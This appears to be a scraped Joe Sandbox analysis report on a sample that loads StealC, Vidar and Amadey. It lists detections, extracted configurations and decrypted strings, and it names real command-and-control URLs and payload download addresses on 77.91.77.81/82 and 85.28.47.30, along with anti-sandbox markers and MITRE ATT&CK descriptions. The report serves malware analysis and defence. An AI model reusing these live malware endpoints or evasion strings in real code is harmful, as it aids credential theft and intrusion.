Instruction ID: f9d84294e3ee80e355a246791576280ecb7648bf0866f94612dd8102560cdd86
Opcode Fuzzy Hash: 5cec9a3a6c83212acd2ff4b0fca8ae605d8f8c9a7e86cc0388f34f2449e67388
Instruction Fuzzy Hash: 1531D471A012168FDB10DF58CC9465ABBB5FF85304F168A69C846EB301EB71ED15CBA1

Function 6C58F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C58F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C58F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C58F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C58F668

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 8717496812249b2c1704078e985cff36efee1d0884894b5498b9d71da4a4e71d
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 64313E71B01224AFC714CF59DCC0A9E7BB5EBC8758B148A3DEA598BB05D731F9448B90

Function 6C5A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A26C1
free.MOZGLUE(?), ref: 6C5A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A26FF
free.MOZGLUE ref: 6C5A270D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ebf4d6026814f45598d24d86d59f2bb860bb950385cc9a6133fd432160c695cc
Instruction ID: 38eef0cee884ea15f68f5c5fdc98ed8eac59140fa8078e53ad491c3a4ae93fcd
Opcode Fuzzy Hash: ebf4d6026814f45598d24d86d59f2bb860bb950385cc9a6133fd432160c695cc
Instruction Fuzzy Hash: 0DF0F9B27022005BEB109E9BDC8994F73A9EF41258B510035EA1EC3B11E731F95AC6A6

Source: http://77.91.77.81/stealc/random.exe-	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php/QLIa	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php/	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe-Disposition:	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exepData	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeT	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/well/random.exeL	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/well/random.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/well/random.exen	Avira URL Cloud: Label: phishing
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe506	Avira URL Cloud: Label: phishing

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: 14.2.0244247334.exe.720000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: explorti.exe.4724.13.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}
Source: file.exe.3472.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.30/920475a59bac849d.php"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Joe Sandbox ML: detected

Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetProcAddress
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: LoadLibraryA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: lstrcatA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: OpenEventA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CreateEventA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CloseHandle
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: Sleep
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: VirtualFree
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetSystemInfo
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: VirtualAlloc
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: HeapAlloc
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetComputerNameA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: lstrcpyA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetProcessHeap
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetCurrentProcess
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: lstrlenA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: ExitProcess
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetSystemTime
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: advapi32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: gdi32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: user32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: crypt32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: ntdll.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetUserNameA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CreateDCA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetDeviceCaps
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: ReleaseDC
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: sscanf
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: VMwareVMware
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: HAL9TH
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: JohnDoe
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: DISPLAY
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: http://85.28.47.30
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: Nice
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetFileAttributesA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GlobalLock
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: HeapFree
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetFileSize
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GlobalSize
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: IsWow64Process
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: Process32Next
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetLocalTime
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: FreeLibrary
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetVolumeInformationA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: Process32First
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetLocaleInfoA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetModuleFileNameA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: DeleteFileA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: FindNextFileA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: LocalFree
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: FindClose
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: LocalAlloc
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetFileSizeEx
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: ReadFile
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: SetFilePointer
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: WriteFile
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CreateFileA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: FindFirstFileA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CopyFileA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: VirtualProtect
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetLastError
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: lstrcpynA
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: MultiByteToWideChar
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GlobalFree
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: WideCharToMultiByte
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GlobalAlloc
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: OpenProcess
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: TerminateProcess
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: GetCurrentProcessId
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: gdiplus.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: ole32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: bcrypt.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: wininet.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: shlwapi.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: shell32.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: psapi.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: rstrtmgr.dll
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: SelectObject
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: BitBlt
Source: 14.2.0244247334.exe.720000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	ReversingLabs: Detection: 42%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

C:\ProgramData\FCFBGIDAEHCFIDGCBGIIEBKKKF

C:\ProgramData\GHCGDAFC

C:\ProgramData\GHDBKFHIJKJKECAAAECA

C:\ProgramData\GIEBGIIJDGHCBGCBFIEGDHDHCF

C:\ProgramData\IIDHJKFBGIIJJKFIJDBGCBGHID

C:\ProgramData\IJEHIDHD

C:\ProgramData\JDHCBAEHJJJKKFIDGHJECAFIDA

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre